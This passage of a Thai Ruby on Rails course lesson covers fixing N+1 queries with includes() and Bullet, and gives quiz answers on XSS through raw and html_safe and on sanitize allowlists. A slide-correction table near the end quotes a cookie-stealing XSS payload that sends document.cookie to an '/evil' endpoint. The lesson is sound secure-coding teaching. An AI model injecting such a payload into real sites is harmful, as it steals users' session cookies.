  4. แก้ · รีเฟรช · นับใหม่ · เสร็จแล้ว git restore . คืนทุกไฟล์

ก่อนกดเฉลย: ก่อนแก้กี่ query · หลังแก้กี่ query · และคุณแก้ที่ไฟล์ไหน?

ก่อนแก้ (ผลจริง · ตัดบางบรรทัด):

  Category Exists? (0.7ms)  SELECT 1 AS one FROM "categories" LIMIT 1 …
  Category Load (0.6ms)  SELECT "categories".* FROM "categories" …
  Post Load (0.6ms)  SELECT "posts".* FROM "posts" WHERE "posts"."category_id" = 1 …
  ↳ app/views/categories/_category.html.erb:13:in 'Enumerable#map'
  Post Load (0.7ms)  SELECT "posts".* FROM "posts" WHERE "posts"."category_id" = 2 …
  ↳ app/views/categories/_category.html.erb:13:in 'Enumerable#map'
  …  (category_id = 3, 4, 5 เหมือนกัน)
Completed 200 OK in 16ms (Views: 10.7ms | ActiveRecord: 4.4ms (7 queries, 0 cached) | GC: 0.2ms)

Post Load ซ้ำ 5 บรรทัด ต่างกันแค่เลขหมวด = N+1 · _category.html.erb:13 ลบหนึ่ง = บรรทัด 12 = category.posts.map… ที่เพิ่งเติม · (in 'Enumerable#map' = "เกิดระหว่าง map") · bullet ขึ้น USE eager loading detected Category => [:posts] · Add to your query: .includes([:posts])

แก้ที่ controller app/controllers/categories_controller.rb action index:

    @categories = Category.includes(:posts)

หลังแก้ (ผลจริง):

  Post Load (0.7ms)  SELECT "posts".* FROM "posts" WHERE "posts"."category_id" IN (1, 2, 3, 4, 5) …
Completed 200 OK in 12ms (Views: 7.6ms | ActiveRecord: 3.1ms (3 queries, 0 cached) | GC: 0.0ms)

7 → 3 query และกล่อง Bullet Warnings หายไป · ไม่ได้แตะ _category.html.erb เลย

ถ้าเจออาการนี้ แปลว่า…

  • หน้า error สีแดง Association named 'post' was not found on Category; perhaps you misspelled it? — คุณเขียน includes(:post) · หมวดหนึ่งมีหลายบทความ model จึงเขียน has_many :posts (มี s) · ชื่อใน includes ต้องตรงกับใน model
  • ถ้าลองเปลี่ยนไปโชว์แค่จำนวน (category.posts.size) แล้ว bullet ขึ้น Need Counter Cache with Active Record size — เป็นคำแนะนำอีกเรื่อง (เก็บตัวเลขจำนวนไว้บนแฟ้มหมวดเลย) ยังไม่ต้องทำตอนนี้ · และถ้า includes แล้วใช้ size ผมได้ AVOID eager loading detected ("หยิบมาล่วงหน้าแต่ไม่ได้ใช้") กลับมาแทน — bullet เดาผิดได้ ให้เชื่อตัวเลข (N queries) ใน log เป็นหลัก
  • ตัวเลขไม่ลดเลย — คุณอาจแก้ posts_controller.rb แทน categories_controller.rb · ดูบรรทัด Processing by …Controller#index ใน log ว่าใบสั่งนี้เป็นของ controller ไหน

ทดสอบความเข้าใจ

บรรทัดไหนเปิดช่อง XSS ถ้า post.title มาจากที่ผู้ใช้พิมพ์? (ดัดแปลงจาก Quiz A ข้อ 1 สไลด์หน้า 19)

ตัวเลือกที่ 3 ถูก — ผลจริงจาก curl: ทั้งสองแบบส่ง <script> ตัวจริงออกไป และกล่อง alert เด้งใน Chrome · สองคำนี้คือของชิ้นเดียวกัน (raw = to_s.html_safe)

ตัวเลือกที่ 1 กลับด้าน — <%= %> ธรรมดาคือแบบที่ปลอดภัยที่สุด มัน escape ให้ · ตัวเลือกที่ 2 ตัวหนังสือ alert('XSS!') ที่เหลืออยู่ไม่ได้รัน เพราะแท็ก script ถูกถอดแล้ว · ตัวเลือกที่ 4 ผิดเพราะ Rails escape ให้จนกว่าเราจะสั่งให้หยุด — raw/html_safe คือคำสั่งให้หยุด

จุดที่ต้องจำ: ค่าเริ่มต้นปลอดภัย · อันตรายเกิดเมื่อพิมพ์ raw หรือ html_safe เอง → ค้นสองคำนี้ก่อนเสมอ

ส่งข้อความ <a href="/posts" onclick="alert(1)">ร้านอื่น</a> เข้า sanitize แบบไม่ตั้งค่าอะไรเพิ่ม · ได้อะไรออกมา?

ตัวเลือกที่ 2 ถูก — ผลจริงใน console: "<a href=\"/posts\">ร้านอื่น</a>" · รายชื่อที่อนุญาตมีทั้งแท็กและช่องในแท็ก (attribute) · href อยู่ในรายชื่อ onclick ไม่อยู่

ตัวเลือกที่ 1 ลืมว่าตรวจระดับช่องด้วย ไม่ใช่แค่ระดับแท็ก · ตัวเลือกที่ 3 คือสิ่งที่เกิดกับแท็กที่ไม่อยู่ในรายชื่อ เช่น <script> · <a> อยู่ในรายชื่อจึงรอด · ตัวเลือกที่ 4 — sanitize ไม่เคย error มันแค่ถอดของที่ไม่อนุญาตออกเงียบ ๆ

จุดที่ต้องจำ: sanitize = เก็บเฉพาะของในรายชื่อ (allowlist) ถอดที่เหลือ · ใช้เมื่อต้องการ HTML จากผู้ใช้จริง ๆ เท่านั้น

partial นี้ (ดัดแปลงจาก Quiz A ข้อ 3 สไลด์หน้า 19) ถูก render @posts เรียกในหน้ารวม · ข้อไหนบอกปัญหาสองข้อได้ถูก?
<h2><%= @post.title %></h2> · <small><%= @post.category.name %></small>

ตัวเลือกที่ 1 ถูก — ① ในหน้ารวม controller วางแค่ @posts (มี s) บนถาด · @post ไม่มีใครวาง = nil → พัง (บท 123: แม่พิมพ์ควรใช้ของที่ยื่นใส่มือ ไม่ควานหาบนถาด) · ② .category.name ทุกรอบ = เดินไปตู้ทุกบทความ แก้ที่ controller ด้วย includes(:category)

ตัวเลือกที่ 2 — <%= %> escape ให้เสมอ และ partial ใส่แท็กอะไรก็ได้ · ตัวเลือกที่ 3 — @post ไม่เกี่ยวกับ XSS และ raw คือตัวเปิดช่อง XSS ไม่ใช่ตัวแก้ · ตัวเลือกที่ 4 — partial ขึ้นต้นด้วย _ ไม่ใช่ @ · และ includes ต้องอยู่ที่ใบเบิกใน controller ไม่ใช่ใน view

จุดที่ต้องจำ: partial ใช้ตัวแปรที่ยื่นมา (post) · เติมจุดใน partial แล้วไปเช็ค includes ที่ controller

หน้า /posts 30 บทความ log ขึ้น (32 queries, 25 cached) และมีบรรทัด CACHE Category Load เยอะมาก · เพื่อนบอก "cached ตั้ง 25 ตัว ไม่ได้ไปตู้จริง ปล่อยไว้ได้" · ข้อไหนตอบเพื่อนได้ถูก?

ตัวเลือกที่ 4 ถูก — ผลจริงหลังเติม includes(:category): (3 queries, 0 cached) · ความจำ CACHE อยู่แค่ในใบสั่งเดียว และช่วยเฉพาะตอนหมวดซ้ำ · ถ้าหมวดไม่ซ้ำกันเลยก็เดินจริงทุกรอบ

ตัวเลือกที่ 1 — CACHE ไม่ได้แก้ N+1 แค่บังให้ดูเบาลงในข้อมูลชุดนี้ · ตัวเลือกที่ 2 — partial เรียกลิ้นชักอื่นได้ ปัญหาอยู่ที่ใบเบิกไม่ได้บอกล่วงหน้า แก้ที่ controller โดยไม่ต้องตัดข้อมูลที่ผู้ใช้อยากเห็น · ตัวเลือกที่ 3 — ตัวเลขใน log เชื่อได้ดีอยู่แล้ว (มันแยก cached ให้ดูด้วยซ้ำ) ปิด cache ไม่ได้แก้อะไร

จุดที่ต้องจำ: เห็น … Load ซ้ำ ๆ ต่างกันแค่เลข (มี CACHE หรือไม่ก็ตาม) = N+1 → includes ที่ controller

🧹 ก่อนไปบทถัดไป: git restore . คืนทุกไฟล์ที่ทดลอง · git status ต้องไม่เหลือไฟล์ที่ถูกแก้ · ถ้ายังไม่ได้ลบบทความ XSS ให้ลบใน console ด้วย (ข้อมูลใน DB ไม่ถูก git restore คืนให้) · บทความต้องกลับมาเป็น 30 ชิ้น

ถ้าเปิดสไลด์ดูประกอบ

หน้าสไลด์เขียนของจริง (Rails 8.1.4 · แอปของคอร์ส)ต้องสนใจไหม
17ตัวอย่างชื่อโพสต์ <script>fetch('/evil?c='+document.cookie)</script>บทนี้ใช้ alert('XSS!') แทน · ผลเดียวกันคือ script ได้รันในเบราว์เซอร์คนอื่นไม่ต้อง — อย่าลองโค้ดขโมยข้อมูลกับเว็บจริง
17<%= sanitize post.body %>แอปของคอร์สไม่มีช่อง body มีแค่ title กับ description · พิมพ์ตามได้ undefined method 'body' for an instance of Postสนใจ ถ้าพิมพ์ตาม — ใช้ description
17อันตรายเกิด "เมื่อพิมพ์ raw หรือ html_safe เท่านั้น"ถ้าเพิ่ม script ลงรายชื่อของ sanitize เอง (tags: %w[script]) script ก็ผ่าน (ลองแล้ว)สนใจนิดหนึ่ง — อย่าแก้ allowlist โดยไม่จำเป็น
18Post.limit(20) · "21 query → 2 query"หน้า scaffold ของเรามี @posts.any? ถามเพิ่ม 1 · วัดจริงด้วย limit(20): 22 queries, 15 cached → 3 queries · ไม่ใส่ limit (30 ชิ้น): 32 → 3ไม่ต้อง — ทิศเดียวกัน ดูว่าเลขไม่โตตามข้อมูลก็พอ
18"ใส่ gem bullet ไว้ตั้งแต่วันแรก"repo ของคอร์สติดตั้งและเปิดไว้แล้วใน development (log + กล่องบนหน้าเว็บ) ไม่ต้อง bundle addไม่ต้อง
19ข้อ 3 มี @post.description[0..80]Ruby ตัดตามตัวอักษร ไม่ใช่ byte · ภาษาไทยไม่พัง (ลองแล้ว) แต่ตัดกลางคำ/ตัดวรรณยุกต์ทิ้งได้ · ตัดข้อความให้สวยใช้ helper ใน บท 124ไม่ต้อง

อ้างอิง